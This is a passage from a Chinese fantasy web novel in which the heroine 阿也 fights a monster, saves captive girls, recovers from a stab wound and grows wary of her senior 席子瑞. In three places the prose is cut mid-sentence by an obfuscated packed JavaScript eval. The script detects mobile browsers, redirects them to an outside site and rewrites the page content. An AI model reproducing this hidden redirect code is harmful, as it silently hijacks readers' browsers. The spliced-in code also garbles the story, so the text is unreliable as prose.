地道无所遮挡,阿也立刻紧贴石壁,护住要害。尖刺扎进肩甲,冲击力逼得她倒退数尺。 挡下一波,再助跑几步,踏上石壁,一跃而起,在半空折腰,抽出双手袖剑,挥舞如风轮,斩断迎面而来的触手,直奔怪物后腿。 “嗷——”怪物发出吼叫,直立起身,举起满是棕毛的兽爪,狠狠朝阿也拍去。 硬吃下这一记,袖剑由劈改刺,从上到下贯穿它的右肢。一招得手,被甩得倒飞出去,撞在暗门之上。 “咚——” 被这一声震得头晕眼花,好在怪物一肢被毁,失去平衡,栽倒在地,唯有触手仍嚣张地挥来挥去,甚至开始鞭挞这副不争气的身体。 每抽一下,怪物哀叫一声,缩成一团,看得阿也咂舌,这下手比自己还狠。 一时半会儿应该是追不上来了。没等她松一口气,四面八方又传来急促的脚步声。 不好,是被那声吼叫引来的人!阿也骤然警惕,抹了把脸上血迹,听声辨数,约有十六七人。 得再拖一会儿。阿也握紧袖剑,后背抵上暗门,警惕地扫视三面围上来的黑衣人。 他们两手空空,个个面红耳赤,不像是来抓人,倒像是喝过头,神智都不太清醒。 不等阿也出手,黑衣人反倒先行绕过她,直勾勾走向怪物,围着躯干手舞足蹈起来,像是某种祭祀的仪式。 奇怪。阿也皱眉,不安涌上心头。 触手渐渐直立,顶端脓包裂开,像卓清歌记忆里那般,花苞绽开,却是一只只漆黑的眼睛,齐齐看向阿也,随后一拥而上,强行塞进周围黑衣人嘴里,画面堪称诡异。 咕咚咕咚的声音里,一个个黑衣人仿佛一只只被灌饱的水囊,迅速膨胀,黏腻的红色从嘴边溢出——它在灌人胎血! 眼看速战速决是不行了,阿也当即弃门,朝地道更深处跑去,身后传出似人非人的嚎叫,在地道里幽幽回荡。 一线之隔,洞外芳草萋萋,花香随水声浮动,阳光和煦。 “仙子还不来吗?”有人小声问。 “驭菱,你先带她们走。”卓清歌起身,往回走,“我去帮华姑娘。” “小姐我同你一起!”驭菱跟上她的步伐。 “我说你们一个个添什么乱?都要出去了还搞这一套!”琅矜急道。 “华姑娘到现在还没来,肯定是遇上了麻烦。”驭菱瞪琅矜一眼,“要是没有华姑娘,我们早就死在这儿了!” “那你们去吧!”琅矜扶着石壁起身,“想走的跟我走!” “我……”少女们犹豫不决。 “轰隆——”内里传出雷鸣般的震颤声。 “快走!他们追上来了!”琅矜拉住两个想跟着卓清歌往里走的姐妹,骂道,“你家里不是还有人在等你吗?现在还不走是想死在这儿?你死了你娘怎么办!” 有一位被她说动,默默扶起琅矜向外走去,忍不住回头看了一眼,另一位却丢下琅矜,跟着大家的脚步毅然向前,直至背影彻底被黑暗吞噬。 “看什么看!你又帮不了什么!还不快走?” 足有半掌厚的精铁暗门全然变形,坑坑洼洼,满是冲撞的痕迹。一侧石壁坍塌半截,另一侧则被撞出人形大洞,碎石堆积成山。 “华姑娘?华姑娘!”卓清歌大声呼唤。 好一会儿,石堆下传出虚弱的咳嗽声。 “这里!”卓清歌大喊一声,余光见一黑衣人走出洞口,立刻动手,纠缠起来。 驭菱找到地方,招呼少女们前来,“快来帮忙!” “来了!” “再加把劲!一、二、三——” 驭菱率领其他人合力抬起一块又一块石板,一点点清理掉碎石堆,气喘吁吁,终于瞧见底下灰头土脸的阿也,惊喜道,“华姑娘!” “咳咳——还没死。”阿也掀开身上石块,翻身爬起来,一边咳嗽,一边扇去灰尘,“你们回来干嘛?” “华姑娘!”卓清歌一掌击退黑衣人,回头毅然道。 “你们……算了,来都来了。”阿也挣扎着起身,拍了拍灰尘,掏出一物件,一把塞进卓清歌怀中,“别耽误时间了,快走!” “这是什么?”她低头看着怀中的青蔓白花。 “这是信物。拿着它,会有人找到你的!”阿也定定看着她,脸骤然绷紧了,坚硬如生铁,“别忘了,你是这里唯一的修士,你得带她们回去!” “我……好!”卓清歌咬紧牙关,用力点头,“都跟我来!”其他人犹犹豫豫,被阿也摆手驱走,“你们在这也帮不上忙。” 待人走远了,阿也才敢揉了揉胸口,呲牙咧嘴,真痛啊,好在终于熬出头了。 得亏卓清歌意志坚强,身子骨扛得住,不然这些人一个也活不下来。她心想。 浮灰落地,寄居在人身的触手纷纷化作一缕黑气散去,但寄主眼中是还未褪去的凶意。他们掏出刀枪棍棒,再度围拢。 真麻烦。阿也叹了口气,揽剑自照,还好,脸上没落下什么伤。随后翻转手腕,眯起眼,沿着平直剑锋看去,一线寒光分开对面首尾,仿佛某种预告。 兵器激烈交锋,铿锵声尖锐。 “小姐,华姑娘!华姑娘怎么办?”驭菱撑着双膝喘气,回头只见一片黑暗,“华姑娘呢?啊!” “小姐?”被卓清歌拽着向前跑,驭菱正要追问,见她嘴唇都咬出血,眼中泪花莹莹,遂不敢吭声。 与她们不同,修士五感灵敏,因此卓清歌能清晰地闻到远处飘来的血腥气,逐渐浓郁,但她没有回头,也不敢回头,生怕自己回头就再也挪不开脚步,她身边还有那么多的人! 前方终于有光照进来,伴着高高低低的呼喊声,“快跑!山石要掉下来了!” “琅矜?”听出其中最洪亮的声音的来源,卓清歌不可思议地喊道,“你们不是走了吗?” “怎么可能——怎么可能真的不管你们啊!”琅矜回以吼叫,“快点跑啊!” 跑了小半柱香时间,卓清歌方看清前方境况,有巨石斜斜堵住大半洞口,大约是被方才的地动震落下来,此时正被琅矜她们用双手双脚苦苦支撑着,尚未完全落下。 “小心!” 又一阵剧烈的震颤,卓清歌急忙开启结界,护住身边人,躲开落下的碎石。 这样下去不是办法!卓清歌尝试隔空打出元力击开巨石,但离洞口距离太远,加上刚摆脱束缚,身体尚未恢复完全,只能眼睁睁看着那道元力在半空消散,像被风吹散的一缕青烟,而出口又收窄几分。 该死!卓清歌暗骂自己,废物,废物! “小姐,别管我们了,你快跑!”驭菱喘得上气不接下气。 “卓小姐快走吧!别管我们了!”几人随声附和。短时间内来回跑动加上清理石堆,几乎耗尽她们所有的力气。 “要走一起走!”卓清歌一手拽起一个,用尽全力奔向出口。 “给我加把劲!”弯曲的手臂再度撑直了,琅矜死死盯着摇摇欲坠的山石,脸色涨红,“她们家里也有人等着她们回去啊!” 奈何人力终究有限,出口逐渐收缩,只够人侧身通过——要来不及了! 卓清歌一口咬破舌尖,吞下精血,飞速念出咒语,白光在掌心凝聚。她回身拉开双手,元力聚集成环,将其余人团团捆住,随后一掌送出,自己反倒后退数丈。 “小姐!不要!”驭菱用力拍打圆环,试图让它停下,“小姐!” “快点!”琅矜声嘶力竭,“我们要支撑不住了!” 见圆环擦过巨石,堪堪冲出洞口,卓清歌松了口气,突然想起什么,浑身骤冷,她忘了信物还在自己手里! 没人帮忙,她们在这极境之中如何能生存?!卓清歌提气狂追,见洞口只剩一掌宽窄,实在不行……咬咬牙,抓住青蔓白花,正要掷出—— 背后一阵大力袭来,目视自己被推出洞口,卓清歌猛地回头。 一柄短刀贯穿腰腹,血光轰然炸响。 目光相接的刹那,阿也歪头一笑,徒手折断短刀,反手送出一剑,转身投入扑杀之中,没有回头。 巨石轰然落下,眼前骤暗。 空荡荡的铁笼,脏乱不堪的石池,满是浮灰的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239285|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,被人为毁坏的暗门,半数坍塌的地道,简直是乱七八糟。 公子闲斜倚在王座之上,背后是巨大的四方锥塔的壁画。他垂眼扫过底下零零散散跪了一地的黑衣人,点起伤势最重的一个,“你来讲,缘起为何?” 被点到的黑衣人战战兢兢地说起事情经过,“是圣子执意……” “圣子下令,让你们带人去红池?”公子闲复述一遍他的话。 “是……”黑衣人呐呐道。 “愚蠢。”公子闲淡淡道,“继续。” 黑衣人不敢省略,完整地讲述每个细节,待提及古红灌血时,愤愤道:“圣子逼我们饮血去对付叛徒,自己却逃之夭夭!” “对付叛徒?”公子闲忽地坐正了。 “那个叛徒……”讲完阿也伤三杀七,还带着姑娘们全身而退的战绩,黑衣人自觉窝囊,悄悄瞥了眼上头,见他眉目含笑,狠狠打了个哆嗦,“是属下无用!” “的确无用。”他的声音听不出喜怒。 另一个黑衣人急忙出声:“公子!属下在混战中奋力一搏,打伤叛徒,实为……”他抻开衣摆,展示被喷溅上的血迹,可见伤势严重。 “是你打伤小姐?”公子闲打断他。 察觉他语气不对,黑衣人立即改口:“属下并非邀功,而是小姐叛逃,有负公子之恩!” “忠心耿耿。既然如此,那便赏你……”公子闲起身,有憧憧黑影从他背后四方锥塔的塔尖钻出来,好似无穷无尽。 他温和一笑,顺手指出,“一死罢。” 黑影随之拥上,奋力撕咬,就着热气狼吞虎咽地进食,而惨叫声在石殿内回荡,经久不散。 “啪嗒、啪嗒——” 阿也拖着脚步前行,大口喘息。浑身的力气源源不断地被腰腹处的伤口抽走,逼迫她不得不扶着石壁坐下歇息。 积攒一会力气,她抬起手,注视手背上的斑斑黑点。 即便尽力避开,仍是沾上不少漆黑污血,不同于胎血,这血粘腻地附着在皮肤上,鼓出水泡,破裂后留下瘢痕,火烧火燎般的疼痛。 希望不会留疤。阿也叹了口气,掀开衣摆,血随动作涌出一股,浸透了勒进肉中的腰带——当时情况紧急,只来得及捆扎止血。 解开腰带,握指成拳,翻过手背,深呼吸几口,猛地摁上伤处。 身体在剧痛中抽搐,几乎失去意识。 眼前时而猩红,时而漆黑,唯独滋滋声不绝于耳,不知过了多久,视野慢慢恢复,舌尖尝到咸腥。 低下头,血肉烧结成瘢痕,糊住伤口,不再出血,又捡起腰带,蹭去手上滑腻,连同那些污血一起,再攀住石壁,慢慢起身,久坐加上失血过多,好一阵头晕眼花,快要站不住。 冷,好冷啊。牙关不受控制地打颤,眼前再现那片荒原,满空飞雪,于是天与地,上下皆白。 她在冰雪中漫无目的地行走,不知来处,不知归处,唯有雪乘着风,慢慢落满了肩头。 “……”有呼唤声从远方传来。 下意识回头,漫漫风雪里,是谁在叫她? 一眨眼,白影在眼前晃动,“醒了?” “你……”阿也猛地坐起,一阵眩晕,险些栽倒,被人及时扶住。待看清眼前人的脸,她一怔:“席师兄,你怎么在这里?” 四周寂静,唯有火堆在树影下跳动。 “师傅派我前来增援。感觉如何?”席子瑞眉眼柔和。 “还好。”察觉甲胄显露在外,她迅速取出外袍遮盖,动作间无意发现雪白从席子瑞的发尾染到了鬓角,不由多看一眼。 “怎么了?”席子瑞捻起半白的鬓发,苦笑道,“是不是很丑?” “没有。”阿也嘴上说着,心中却觉怪异,席子瑞不问她甲胄一事,反倒问起这个?她想起身,又被制止。 “你有伤在身,不便行走。”席子瑞温声道。 “无妨,我吃点药就……”阿也不以为然地张口。 “我背你回去。”席子瑞俯身,竟是真的要来背她。 “啊?”阿也错愕,自认为和他的关系不足以到这种程度。 “放心,不会让凌栾看见的。”他轻笑一声。 这话实在叫人不爽。阿也不再同他演戏,冷脸以对,“我绝非此意。师兄若是着急,不如先行回去。” “是我失言,不该随口一句玩笑。”席子瑞立即认错,诚恳道,“你丹田空空,恐怕无法传音,现下又伤在要害,我如何放心将你一人留在此处?” 阿也抚上腰腹伤口,干净整洁,显然已被上药包扎过。暂且当他是玩笑,她淡淡道,“如此,那容我歇息一晚,待明早再动身。” “自然。”席子瑞微微颔首,添柴让火堆燃得更旺些,递来一支白瓷瓶,“这是疗愈丹。” 阿也顿了一下,方才接过。 “一句玩笑话,倒是让师妹生出戒心了。”席子瑞歉意地笑笑,主动倒出两粒,服下一粒,片刻后摊开手,“你看,没有下毒。” “多谢师兄,待回去后再还你。”阿也撇清关系,不接他递来的水囊,空口吞下另一粒,倚在树干闭目养神,但药力在温暖中升腾起来,将意识搅成一团浆糊。 迷迷糊糊中,有气息靠近了,清淡的一点冷香,仿佛轻风捎来远山的雪—— 好像在哪里闻过。 25. 引路 她又做梦了,一个全然不同的梦,关于一场战争。 飘渺的吟唱声中,千万道剑光劈开乌云,自天际降下,尽数刺进远方滚滚而来的硝烟,咆哮声和怒吼声交织,撼动巨型的城池。 剑光扼住硝烟,揭开迷蒙的景象。 数不清的混元兽争相恐后地奔向中央的那只鬼车。它张开双翼,遮天蔽日,仿佛两团噬日的阴云。剑光落在它漆黑羽翼上,仿佛细雨洗过精心锻造的盔甲,铮铮发亮。 阿也曾在典籍中见过它,九头十颈,人面鸟身,可那时画册里的它不过一页大小,眼前这一只却足有山峦那样高,人站在其下,像是一粒芝麻仰望太阳。 “唰唰唰!” 剑意纵横,快如闪电,好似匠人挥笔作画,留下肆意淋漓的墨痕。 三头瞬间被斩,鬼车尖声嘶鸣。天地间的元气以其为眼汇聚,叫断头处生出密密麻麻的肉芽,而羽翼之下,混元兽争相舔舐它流下的血,甚至大打出手。 如此混乱的时刻,尘土飞扬,血光与剑光交织,将万物都映出狰狞丑陋的面貌,唯有那道白影默然伫立,格外鲜明,仿佛一团不染世俗的、凝固的云。 三个新头浴血而生,鬼车停止嘶叫,缓缓抬起九根染血的尖喙,对准那道白影。 吟唱声止,剑光消散,长天重回苍茫。 阿也得以看清那道白影,是一名戴黄金面具的白衣女子。 及腰长发扎成一束,身形高挑修长,仿佛一柄世间无可匹敌的利剑,开山斩海,无所不能,但她站在高耸入云的城墙之上,又像一面无坚不摧的盾,庇护天下百姓。 鬼车扬起九头,指向四面八方。混元兽听从指令,向两侧散开,横向拉成千里战线,逐渐逼近。 “咔嚓——” 大地晃动,冰山钻破岩石,守在城墙之外,仿佛花园外的围栏,在风沙里闪着冷冽的清光,净如琉璃。 尖刺利爪,铁齿铜牙,混元兽使劲浑身解数,仿佛一群试图啃食金铁的蚁群,不过在这围栏上留下徒劳无功的白痕。 片刻后,鬼车率先动了。 它挥振双翼,骤然升空,翎羽竖起,将风切割出尖锐的啸声,盘旋三圈后,一个俯冲,越过冰山,直冲那道白影。 女子不慌不忙地侧身、后退,步伐行云流水,如园里赏花那般轻松,在与第九支尖喙擦身而过的刹那,一拳打上无头之颈的中段。 一声哀叫,鬼车摔下城墙,砸碎了小半座冰山,又在中途升起,无头之颈萎靡地垂落,另外九头纠缠成一股,仿佛一朵染血的肉花,盛放出无数黑气。 女子抬手,身前的虚空之中,一柄长剑赫然现形,模样普通,形制古旧,剑刃除去起卷的部分,甚至还有细小缺口,简直伤痕累累。 但彼一露面,立即将黑气压制在鬼车的九头附近,翻涌而不得出。 她握住剑柄,仿佛信手拈花,凌空踏步,如流星般与鬼车反复相撞,绚烂剑光在黑气中闪耀,仿佛穿梭乌云的雷电,令天地为之变色。 从天上打到地下,云层被打穿数百空洞,仿佛一块破烂的抹布,大地布满网状的裂痕,仿佛被成千上万的陨石轰击。 最后,鬼车俯趴在地,勉强支起唯一的头,仰望空中的白影,眼中尽是不甘。即便如此,它的身形依旧雄伟如山,但此刻山石崩塌,血流成河。 终于,那一丝不甘也散尽,围攻冰山的混元兽反倒掉头,开始啃食这具尸身。 女子吹了声口哨。在洞箫般清脆的声响里,风雪听从她的号令,横扫整片战场,将余孽逐一封冻。 这的确是一场战争,一个人的战争。 女子安然落地,摘下受损的暗银护臂,勾在指节上打旋,随意丢在一旁,而后抛起长剑,复又接住。 血浸透白衣,陆续滴落。拖曳的红痕如云般逶迤在她的身后,仿佛阎罗获胜归来,赤足踩过忘川旁的彼岸花道。 阿也看着她跨过残破的兽尸,一步又一步向自己靠近,看清她黄金面具上的斑斑血迹,听清她轻声哼唱的小谣,大概是在节日或庆典里流传的曲子,节奏轻快,旋律悠扬。 忽然间,女子抬起眼,与她对视—— 这感觉何等奇妙。 仿佛跨过时空的长河,与梦中人对视,又仿佛对镜自省,近在眼前。 城门在她身后打开,人群蜂拥而出,大声呼唤着,带着劫后余生的喜悦,声浪一波盖过一波,高低起伏,渐渐汇成短短一句,钻进阿也耳里。 她从未听过这样的语言,晦涩而古老,仿佛岁月从中奔涌流过,但竟然轻而易举地理解了它的意思。 不是姓名,也不是某种术法,而是一个代号,一种象征。 “祭司大人!” 他们高声呼唤,忠心而虔诚,仿佛觐见神明的信徒。 “小烨?小烨!” 阿也睁开眼,裙裳飘过眼前,熟悉的五彩配色,“云……欢?” “小烨!”云欢紧紧抱住她,“你吓死我们了!你整整睡了三天三夜!我差点以为你醒不过来了!” 我们?阿也抬眼,看见云欢身后的卓清歌等人,再往外,华谏与芳芪站在一起,更远些,在一群陌生的面孔里,认出云漪。 “这是……” “华宗和云间派的增援。”凌栾回答。 “增援?是什么时候……” “师妹。”一声温柔的轻唤打断谈话。席子瑞从门外进来,视若无睹地越过人群,走近榻前,放下食盒。 阿也敏锐察觉他刻意避开凌栾,靠近自己。 “喝药了。”席子瑞温声道。 “多谢师兄。”阿也客气道谢,手伸到一半,见药汁黏稠发黑,一顿,眼前的药碗却升了起来。 “若师妹不便,我来喂便是。”席子瑞温声道。 这一声叫阿也头皮发麻,打哈哈道,“不必,不必劳烦师兄,我自己来就好。” 席子瑞却没有把药碗还给她的意思,二人僵持不下,一个似笑非笑,一个眉眼含笑,气氛说不出的怪异。 “这是什么药?”关键时刻,芳芪探出头,一把抢过药碗,自言自语道,“不会是余老头的药吧?给我看看药方。” 席子瑞一言不发,递上药方。 “车前草,木香薷……”芳芪一顿,问道,“这甘草和槐蜜是何药效?” “消解苦涩之味。”席子瑞淡淡道。 芳芪抬眼,目光在三人间打了个转,笑道:“子瑞心思细腻,较余老头强出一截,果真是青出于蓝而胜于蓝。不过甘草易烂,槐蜜易糊,这药是如何熬制?” 席子瑞盯她半晌,笑了笑,“不如长老同我一道前往药房探讨?” “那便再好不过了。”芳芪将药碗递给凌栾,同席子瑞出门去。 白影消失在视野尽头,凌栾垂下眼,轻声道:“喝药吧。” 阿也点点头,接过碗,屏住呼吸一饮而尽,尝到的并非熟悉的酸涩,而是寡淡无味,犹如白凉水。 见她神色有异,凌栾以为是药味太冲,递上蜜饯,“压一压。” 阿也一怔,轻轻应了声,接过蜜饯,含在口中。本该甜滋滋的味道,吃起如同嚼蜡。 她的味觉……对上凌栾关切的眼神,阿也眨了下眼,吞下无味的烂糊之物,乖巧道:“好多了。” “多谢华姑娘救下云欢师妹。”云漪颔首,呈上一枚乌金尾戒,戒面雕刻正是盛放的青兰,三叶七瓣的脉络清晰可见。 “这是副掌门托我带给您的。” 阿也惊讶于这尾戒的做工,听到这一句,立即推辞:“不不不,这太贵重了。” “哎呀,你就收着吧!”云欢抢过尾戒,径直给阿也带上,又展示自己小指上的尾戒,是同样精美的刻纹。她洋洋自得道,“好看吧?” “好看。”阿也点头,很贵的那种好看。 “这可不是一般人能有的。”云欢话锋一转,跃跃欲试,“快看看,师姐都给了你什么好东西!” 元力探入戒中,一方大小的空间里堆满了品相极佳的玉瓶或瓷瓶,一支挤着一支,仿佛一片旺盛的杂草。 这手笔连云欢也是一愣,“这么多……师姐该不是把药房搬空了!” “多谢副掌门。”阿也颔首谢过,余光注意到不远处卓清歌担忧的眼神,“已经没事了。” “真的吗?”卓清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239286|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌端详她的脸色,是失血过多的苍白,愧疚道,“若不是为了救我,华姑娘怎会受那一刀?” “既然答应了,自然全力以赴。”阿也含笑道。 卓力适时上前,抱拳道:“多谢姑娘出手救下小女,在下无以为报。” 他取下腰间香囊,拿出一枚朱红钱币,“谨以此物为信,日后若有在下能帮上忙的地方……”他顿了顿,“自然全力以赴。” 推搡了数个回合,最后以卓清歌将钱币一把塞进阿也手里,拉着卓力逃出房间结束。 “多谢华姑娘救命之恩,日后有需要之处,请尽管吩咐。”驭菱笑道,同琅矜等人相视一笑,“我们自然全力以赴。” 早知道不说这句了。阿也抿唇不语,感觉脸上烧得慌。 “那我们不多叨扰了,华姑娘早些歇息。”驭菱抿唇一笑,领着其余人退出房间,云欢却不肯走,美其名曰要留下来照顾她。 想起云欢的睡相,阿也心道,谁照顾谁还不一定呢,但有话要问,便由她耍性子留下了。 云欢解下裙裳,着里衣上榻,小心翼翼地缩在外围,让出好大一片地方,“你睡里面。” 阿也看她一眼,乖乖躺好,正要问这三天内发生的事情,云欢却先开口道,“你一个人被埋在地道里的时候,是不是很害怕?” “还好。”阿也如实道。变暗反而有利于她隐匿身形,以一对多。 “可是我很害怕。”云欢抓住她的手,微微颤抖,“你流了好多好多血,怎么擦都擦不干净,卓小姐把花交给我的时候,我还以为,还以为……” 心头一动,阿也拍拍她的手,“没事了。” 云欢吸了吸鼻子,取出两朵并蒂芙蓉,摆在枕边靠在一起,故作凶恶道,“给你,记得收好,以后不许随便给别人!” 阿也点点头,见她神色平复,方才开口:“这三日内可发生了什么?” 云欢想了想,“那天你走之后,甘棠师姐找到我们。” “甘棠师姐?” “就是华谏曾在岸边见过的那个人。”云欢压低声音,“师姐说那就是甘棠师姐,但我瞧着,总觉得不是……不是活人。” 不是活人?想起岸边碎石里那堆孵化的卵,阿也意识到甘棠背后另有他人,“那人可还在这儿?” “走了。她带着我们找到阵法所在地就走了。”云欢挠头,“华谏也说,当时是被她带着才找到了你,就好像是特意来指路的。” “引路人么?”阿也沉吟不语,半晌,她支起上半身,以指为笔,在茸茸毛毯上缓缓画出四方锥塔。 “这是往生教,暗地里抓捕贫困少女用作试验……”阿也一顿,脑海里时而浮现出墙上的第三幅草图里醒目的叉,时而是公子闲袖中的黑气,不确定道,“目的暂定为走衍化成神之路。” “其次以甘棠师姐为代表的引路人,并不主动出击,而是在关键时刻借他人之手破坏往生教的计划。” 指尖在另一边画出窄小的扇形。阿也问,“你有没有觉得差了点什么?” 云欢看了一会儿,忽地皱眉:“这两方……实力不对等?” 阿也点点头,将两个图案圈起,以直线相连,好似一个简单的天秤,一高一低,“引路人很了解往生教的一举一动,但自身实力有限,因此才躲在幕后,不能彻底制止。” “那这样做有什么意义呢?”云欢不解,“打也打不过,只能等别人帮忙。” “你说对了。”手指点住扇形一端,以此为起点,补成完满的圆。她抬起眼,“所以,应该还有一方势力——引路人拖延至今,就是为了等待这方势力。” “你是说……”云欢眼睛一亮,“我们吗?” 阿也抹去旧线,重新圈起圆,再以直线连接四方锥塔,这一次,天秤两端平衡了。 “大概吧。”她轻声说,“该睡了。” 月光溜进营帐的缝隙,斜斜拉成一线,照亮枕间的并蒂芙蓉,一朵含苞,一朵盛放,轻盈如雪上浮光,落入她眼中,一闪即灭。 华重楼不远千里送她来阴山,而公子闲在找她的替代品。 莫非……她就是引路人要等的人。 26. 赏月 “小烨,快看!下雪了!” 被褥被人扯动,阿也揉了揉眼睛,打了个哈欠,睁开眼,热气在寒意里凝成白雾。 云欢卷起营帐门帘,欢喜道:“快看快看!” 风捎进碎雪,无声融化在帐内的温暖中。帐外,一层轻薄的白盖住草地,露出零星的绿和泥泞的脚印。 “真的下雪了?”阿也惊讶道,裹紧被褥,转念一想,或许极境内的气候与那阵法有关,从漫长白日到频繁下雨,再到如今的夜晚和雪景,不管如何,都不像好预兆。 她掀开被褥,翻身坐起。 “你要去哪儿?”云欢扑过来,一把按住她,“你身上还带着伤呢!” 阿也一顿,“我找琅矜有点事。” 昨晚思来想去,她回忆了与往生教接触的整个过程,总觉得琅衿留下的第三幅草图有些蹊跷,趁人还未转移出去,打算问个仔细。 “你好好休息。”云欢瞪她一眼,强行将注满热水的汤婆子塞进她手里,“我去叫人过来。” 阿也乖乖点头。 离营帐不远处,七八位少女穿着新制的棉袄,正在雪地里嬉笑打闹,原本瘦削的脸颊丰盈了不少,气色红润。 “过来呀!”琅矜摆出鬼脸,一蹦一跳地逗驭菱,“有本事你就来追我!略略略——” “你别跑!”驭菱气红了脸,抓起一大团雪团成球,撵得琅矜四处跑,却摸不到衣角。 周围的少女们笑得直不起腰,另一个看不下去了,站出来道,“我来帮你!” 云欢不忍打扰,站在原地等了片刻,见一时半会结束不了,只得叫停:“琅矜姑娘,小烨有事找你。” “啊?找我?”琅矜一愣,连忙爬起来,拍去身上的雪渍,“好,好,那我现在就去。” “等一等。”云欢踌躇道,“琅矜姑娘,我……也有一事想请你帮忙。” “仙子尽管讲。”琅矜端正神色。 “我想……” 帮完云欢的忙,琅衿在营帐外徘徊好一会儿,犹豫不决。 说实话,琅衿很怕这尊杀神,逼自己服毒时那叫一个干脆利落,心思更是缜密,想起自己后来的临阵脱逃,不免胆战心惊——她该不会要惩罚自己吧? 算了,该来的迟早要来。琅衿硬着头皮走上前,咽了口唾沫,忐忑道:“华姑娘,我是琅衿。” “请进。” 掀开门帘,印象里手起刀落的杀神身披白裘大氅,一手拥着汤婆子,一手持香,正要插进香炉中,面色仍有些苍白,被细细绒毛一衬,显出几分孱弱来。 琅衿忽然意识到所谓的杀神,其实并不比自己大多少。她放下门帘,恭敬道:“仙子,您找我?” 阿也点燃线香,“请坐。” 这香还怪好闻的。琅矜心道,找了个离她最远的位置坐下,双手局促地交叠,放在膝上。 “你可还记得我与你的约定?”阿也问。 “记得。”琅矜嗫嚅道,“姑娘那时让我留作内应,说混乱后必定会搬迁据点,让我注意其中有用的讯息,小心记在石墙之上。” “你可还记得有哪些讯息?”阿也又问。 “我听到他们吵架,说圣子舍不得这个亲手搭建的据点,不愿意搬回去,但是不敢反抗教主。” 教主?阿也心道,果然是公子闲。 “他们说有一个……”琅矜仔细回想,“什么湖来着……” “镜湖?”阿也补充道。 “对对对,就是镜湖!他们好像要去镜湖那边做些什么。”琅矜想了想,又道,“他们还提到蛟龙,但我没见过蛟龙,不知道长什么样子,所以就草草画了画。” 阿也忍不住笑道:“你说那条画了四肢的长虫?” 气氛一下活泛起来,琅衿挠了挠头,不好意思地笑笑,“叫华姑娘见笑了。” “可还有其他?”阿也含笑发问。 “其他?其他的……就没有什么了。”琅衿小声道,“当时太混乱了,我只听见这些。” “你做得很好。”阿也点头赞许,“倘若最后不是你带人挡住巨石,料想我们都难以逃脱。” 琅衿羞红了脸,无意识地呐呐几声后方站起来,促声道:“我,我去看看姑娘的药好了没有!”她一溜烟跑出营帐,带进一阵冷风,吹灭了线香。 阿也曲起指节,有一搭没一搭地叩响桌面,陷入沉思。 云绮给的敬慎香效果不错,听语气琅衿也没有撒谎,所以那个画在蛟龙之上的叉,并非出自她的手笔。 也就是说……有人在黑衣人撤离之后,在她重返据点之前,进去篡改了琅衿的记号? 想玩螳螂捕蝉,黄雀在后这一套?阿也眯起眼,恐怕这人就是躲在甘棠背后、真正的引路人。 帐外传来脚步声,阿也以为是琅衿,不等那人停步,即道:“请进。” 帐帘被人卷起,见到席子瑞那张脸,阿也扬起的笑容骤然凝固。 “师妹。”席子瑞恍若未见,径直上前,从食盒里端出药碗,温声道,“该吃药了。” 还不如吃两粒丹药来得痛快。阿也皱眉,虽说现下吃不出味道,但下意识排斥道,“这是什么药?” “盈血补气的药。”席子瑞笑笑,像是读懂了她的心思,“若师妹不喜,也可制成丹丸,只是会损失些药效。” “那便不劳烦师兄了。”阿也端起碗,粘稠药汁一荡,撞出些许灰白碎屑,似与昨日不同。盯了一会儿,她放下药碗,“这药是师兄亲手熬制?” “依芳长老的方子抓的。” “那芳长老呢?” 席子瑞一顿,“芳长老在同各大宗派的长老商讨闯阵一事。” “那凌师姐……”阿也迟疑道。 “师妹不必如此警惕。”席子瑞叹了口气,翻过桌上倒扣的茶盏,亲自倒出一些药汁,一口饮尽了,执帕拭去唇边乌黑,方道,“我不过是想着让这药味道好些,另加了一味珠贝。” 奇怪。阿也抿唇。真是太奇怪了。 依云欢所言,当时地道坍塌,足足有二十人搜寻她的下落,偏偏被席子瑞找到。硬说凑巧也罢,但据华谏先前所说,偏偏也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239287|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他连夜赶回来,同她说那些阴山隐秘。 起始是他,节点也与他有关,实在惹人怀疑。 “这香……”席子瑞忽然开口,目光定格在剩下的半截线香上。 阿也骤然警觉,“怎么了?” “无事。”席子瑞含笑道,“就是很少见你燃香。” 席子瑞这么关注她?印象里明明没见过几次面。阿也拧起眉,又松开,轻笑道:“最近睡眠欠佳,这才点了安神香。不过方才不小心被吹灭了。” 她伸出手,又落后席子瑞一步。他轻声道:“我来吧。” 他如此坦然,倒叫阿也分不清是有心还是无意了,干脆端起药碗,小口啜饮,味道依旧平淡如水。 幽幽青烟升起,檀香味在二人间散开,逐渐浓郁。 “味道如何?”席子瑞关切道,“希望你喜欢。” 